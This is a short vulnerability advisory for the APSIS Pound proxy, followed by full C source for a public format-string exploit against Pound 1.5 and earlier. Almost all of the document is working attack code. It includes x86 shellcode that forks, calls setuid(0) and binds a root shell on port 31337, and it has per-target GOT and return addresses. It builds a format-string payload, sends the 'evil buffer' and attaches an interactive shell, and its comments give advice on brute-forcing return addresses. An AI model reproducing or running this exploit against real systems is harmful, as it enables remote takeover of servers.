source: http://www.securityfocus.com/bid/10267/info

APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers. 

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected software, which would occur in the security context of the server process.

/*
	Pound <=1.5 remote format string exploit (public version)
	by
	Nilanjan De - n2n@front.ru
	Eye on Security Research Group, India, http://www.eos-india.net
			
	Vendor URL: http://www.apsis.ch/pound/
	
	Local exploit is only useful is pound is setuid
	The shellcode used doesn't break chroot
	if you need to break chroot, use a different shellcode
	
	To find jmpslot:
	For remote:
		objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
	for local:
		objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
		
	Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
	char *arch;
	unsigned long jmpslot;
	unsigned long ret;
	unsigned int align;
	unsigned int  offset;
 	type_t	type;
} targets[]=
	{
		{"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
		{"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
		{NULL,0x00,0x00,0,0,0}
	};
	
/*
 x86 linux fork+portbind shellcode(port 31337)
*/
 
char shellcode[]=
	/* sys_fork() */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x02"                      // movb         $0x2,%al
	"\xcd\x80"                      // int          $0x80
	"\x38\xc3"                      // cmpl         %ebx,%eax
	"\x74\x05"                      // je           0x5
	/* sys_exit() */
	"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
	"\xcd\x80"                      // int          $0x80
	/* setuid(0) */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x17"                      // movb         $0x17,%al
	"\xcd\x80"                      // int          $0x80
	/* socket() */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
	"\x40"                          // incl    %eax
	"\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
	"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
	"\x40"                          // incl    %eax
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
	"\xb0\x66"                      // movb    $0x66,%al
	"\xcd\x80"                      // int     $0x80
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
		  "\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
        "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
        "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
        "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* listen() */
        "\x40"                          // incl    %eax
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x43"                          // incl    %ebx
        "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* accept() */
        "\x43"                          // incl    %ebx
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "\x31\xc9"                      // xorl    %ecx,%ecx
        "\xb0\x3f"                      // movb    $0x3f,%al
        "\xcd\x80"                      // int     $0x80
        "\x41"                          // incl    %ecx
        "\x80\xf9\x03"                  // cmpb    $0x3,%cl
        "\x75\xf6"                      // jne     -0xa
 
        /* execve() */
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x52"                          // pushl   %edx
        "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
        "\x89\xe3"                      // movl    %esp,%ebx
        "\x52"                          // pushl   %edx
        "\x53"                          // pushl   %ebx
        "\x89\xe1"                      // movl    %esp,%ecx
        "\xb0\x0b"                      // movb    $0xb,%al
        "\xcd\x80";                     // int     $0x80

int
connect_to(char *host, unsigned int port)
{
	struct hostent *h;
	struct sockaddr_in sin;
	int sock;
	
	if((h=gethostbyname(host))==NULL)
	{
		printf("- Error: Unable to resolve %s\n",host);		
		exit(EXIT_FAILURE);
	}
	printf("+ Resolved %s\n",host);
	sin.sin_addr=*((struct in_addr *)h->h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)port);
	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	{
		perror("socket");exit(EXIT_FAILURE);
	}	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
	{
		perror("connect");exit(EXIT_FAILURE);
	}
	printf("+ Connected\n");
	return sock;
}

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;
 
   strcpy(snd, COMMAND "\n");
   write(sockfd, snd, strlen(snd));
 
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
 
      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);
 
      if (FD_ISSET(fileno(stdin), &rset)) {
         bzero(snd, sizeof(snd));
         fgets(snd, sizeof(snd)-2, stdin);
         write(sockfd, snd, strlen(snd));
      }
                                                                                
      if (FD_ISSET(sockfd, &rset)) {
         bzero(rcv, sizeof(rcv));
                                                                                
         if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
            printf("+ Good Bye!\n");
            return 0;
         }
                                                                                
         if (n < 0) {
            perror("read");
            exit(EXIT_FAILURE);
         }
                                                                                
         fputs(rcv, stdout);
         fflush(stdout);
      }
   }
}
                                                                                

void
usage(char *progname)
{
	int i;
	printf("Usage: %s <type> [RemoteHost]\n",progname);
	printf("Available types:\n");
	for(i=0;targets[i].arch!=NULL;i++)
	{
		printf("\t%d\t-\t%s\n",i,targets[i].arch);	
	}
	exit(EXIT_FAILURE);
}
int
testifworked()
{

}
int main(int argc,char **argv)
{
	char *victim;
	int s;
	int i;
	int high,low;
	unsigned int port=PORT;
	struct target *t;
	char buf[BUFSIZE];
	if(argc<2) usage(argv[0]);
	i=atoi(argv[1]);
	if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
	{
		printf("- Invalid target type\n");
		exit(EXIT_FAILURE);
	}
	t=&targets[i];

	high=(t->ret & 0xffff0000) >> 16;
	low=(t->ret & 0x0000ffff);
	
	memset(buf,NOP,BUFSIZE-1);
	buf[BUFSIZE-1]=0;
	
	if(t->type==REMOTE)
	{
		if(argc<3) usage(argv[0]);
		victim=argv[2];
	}
							
	
	if(high>low)
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
	}
	else
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot+2;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot;
		high^=low^=high^=low;
	}
	buf[t->align+9]=0;
	
	if(t->type==REMOTE)
		low-=0x16+t->align;
	else
		low-=0x28+t->align;
	i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
	buf[t->align+9+i]=NOP;
	memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
	buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
	buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
	
	if(t->type==LOCAL)
	{	
		if(!fork())
		{
			execl(POUND,"pound","-f",buf,0);
			perror("exec");exit(EXIT_FAILURE);
		}
		victim=LOCALHOST;
	}
	else
	{
		printf("+ Connecting to victim\n");
		s=connect_to(victim,port);
		printf("+ Attach?");
		scanf("%c",&i);
		printf("+ Sending evil buffer\n");
		if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
		{
			perror("send");exit(EXIT_FAILURE);
		}
		close(s);
	}
	
	sleep(1);
	printf("+ Checking if exploit worked\n");
	s=connect_to(victim,31337);
	sh(s);
	exit(EXIT_SUCCESS);
}